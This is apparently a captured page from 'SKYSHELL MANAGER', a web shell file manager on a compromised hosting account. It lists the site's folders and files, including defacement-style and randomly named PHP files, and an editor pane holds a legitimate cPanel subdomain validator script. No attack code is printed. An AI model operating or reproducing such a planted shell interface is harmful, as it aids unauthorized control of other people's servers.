📁
SKYSHELL MANAGER
PHP v8.2.30
Create
Create
Path:
root
/
home
/
qooetu
/
costes.qooetu.com
/
Name
Size
Perm
Actions
📁
.well-known
-
0755
🗑️
🏷️
🔒
📁
2e19d9
-
0755
🗑️
🏷️
🔒
📁
6b114
-
0755
🗑️
🏷️
🔒
📁
Modules
-
0755
🗑️
🏷️
🔒
📁
app
-
0755
🗑️
🏷️
🔒
📁
assets
-
0755
🗑️
🏷️
🔒
📁
bootstrap
-
0755
🗑️
🏷️
🔒
📁
cgi-bin
-
0755
🗑️
🏷️
🔒
📁
config
-
0755
🗑️
🏷️
🔒
📁
css
-
0755
🗑️
🏷️
🔒
📁
database
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
nbproject
-
0755
🗑️
🏷️
🔒
📁
public
-
0755
🗑️
🏷️
🔒
📁
resources
-
0755
🗑️
🏷️
🔒
📁
routes
-
0755
🗑️
🏷️
🔒
📁
storage
-
0755
🗑️
🏷️
🔒
📁
tests
-
0755
🗑️
🏷️
🔒
📁
uploads
-
0755
🗑️
🏷️
🔒
📁
vendor
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0755
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📄
.htaccess
0.23 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
COOKIE.txt
0.2 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
X7ROOT.txt
0.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
defaults.php
1.29 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
engine.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
error_log
813.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
features.php
11.28 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
googlecfb82e09419fc0f6.html
0.05 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php0
1.56 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
inputs.php
0.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
kurd.html
1.07 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
library.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
min.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
p.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
php.ini
0.04 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
product.php
1.78 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
qpmwztts.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt
0.32 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
tovmbkwh.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
tyyffovi.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
veoxv.html
1.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
Edit: subdomain.js
/* /* # base/frontend/jupiter/domains/validators/subdomain.js Copyright(c) 2020 cPanel, L.L.C. # All rights reserved. # copyright@cpanel.net http://cpanel.net # This code is subject to the cPanel license. Unauthorized copying is prohibited */ /* global define: false */ /** @namespace cpanel.domains.validators.subdomain */ define( [ "angular", "cjt/util/locale", "cjt/validator/validator-utils", "cjt/io/api2-request", "cjt/io/api2", "cjt/modules", "cjt/services/APIService", "cjt/validator/validateDirectiveFactory", "app/services/domains", ], function(angular, LOCALE, validationUtils, API2Request) { "use strict"; var _pattern = null; var _reservedSubdomains = null; function _handleError(error) { console.error(error); // eslint-disable-line no-console } // For Mocking var factoryMethods = { _pattern: function() { return _pattern; }, _reservedSubdomains: function() { return _reservedSubdomains; }, _processReservedSubdomains: function(result) { _reservedSubdomains = null; if (result && result.data) { _reservedSubdomains = []; _reservedSubdomains = result.data.map(function(subdomain) { return subdomain; }); } }, _processSubdomainRegex: function(result) { _pattern = null; if (result && result.data) { var regexString = result.data.pop(); _pattern = new RegExp(regexString); } }, }; /** * Validator to check that the domain is a not a reserved subdomain and follows the valid format * * @module validSubdomain * * @example * <input valid-subdomain ng-model="myModel" /> * */ var subdomainValidator = { /** * Is the domain valid according to the back end regex * * @method validSubdomain * * @param {String} domainPart value to check against the validator * * @return {Boolean} returns a boolean value determined by the validity of the view * */ validSubdomain: function(domainPart) { var result = validationUtils.initializeValidationResult(); var pattern = factoryMethods._pattern(); if (domainPart && ( !pattern || !pattern.test(domainPart) ) ) { result.isValid = false; result.add("validSubdomain", LOCALE.maketext("You must enter a valid subdomain.")); } return result; }, /** * Is the domain invalid because it's a reserved subdomain part * * @method notReservedSubdomain * * @param {String} domainPart value to check against the validator * * @return {Boolean} returns a boolean value determined by the validity of the view * */ notReservedSubdomain: function(domainPart) { var result = validationUtils.initializeValidationResult(); var reservedSubs = factoryMethods._reservedSubdomains(); if (domainPart && ( !reservedSubs || reservedSubs.indexOf(domainPart) !== -1 ) ) { result.isValid = false; result.add("notReservedSubdomain", LOCALE.maketext("The server reserves this subdomain for system use only. Enter a different subdomain.")); } return result; }, }; var validatorModule = angular.module("cjt2.validate"); validatorModule.run(["validatorFactory", "APIService", function(validatorFactory, APIService) { var regexAPICall = new API2Request.Class(); regexAPICall.initialize("SubDomain", "validregex"); APIService.promise(regexAPICall).then(factoryMethods._processSubdomainRegex, _handleError); var reservedAPICall = new API2Request.Class(); reservedAPICall.initialize("SubDomain", "getreservedsubdomains"); APIService.promise(reservedAPICall).then(factoryMethods._processReservedSubdomains, _handleError); validatorFactory.generate(subdomainValidator); }, ]); return { methods: subdomainValidator, factoryMethods: factoryMethods, name: "valid-subdomain", description: "Validation to subdomain is not reserved and matches the proper format.", version: 1.0, }; } );
Save